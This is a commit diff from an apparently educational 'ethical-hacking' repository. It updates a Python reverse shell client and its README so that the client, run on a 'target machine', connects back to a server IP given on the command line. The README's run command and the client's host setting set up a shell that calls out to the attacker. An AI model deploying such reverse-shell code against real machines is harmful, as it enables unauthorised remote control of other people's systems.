Skip to content

Commit d8c41dd

Browse files
committed
fixed client issue
1 parent 47907e9 commit d8c41dd

File tree

2 files changed

+4
-3
lines changed

2 files changed

+4
-3
lines changed

ethical-hacking/reverse_shell/README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,9 @@ You don't need to install anything.
88
```
99
Listening as 0.0.0.0:5003 ...
1010
```
11-
- Running the client (target machine):
11+
- Running the client (target machine) that connects to 192.168.1.104 (server's IP Address) :
1212
```
13-
python client.py
13+
python client.py 192.168.1.104
1414
```
1515
**Output:**
1616
```

ethical-hacking/reverse_shell/client.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
import socket
22
import subprocess
3+
import sys
34

4-
SERVER_HOST = "192.168.1.103"
5+
SERVER_HOST = sys.argv[1]
56
SERVER_PORT = 5003
67
BUFFER_SIZE = 1024
78

0 commit comments

Comments
 (0)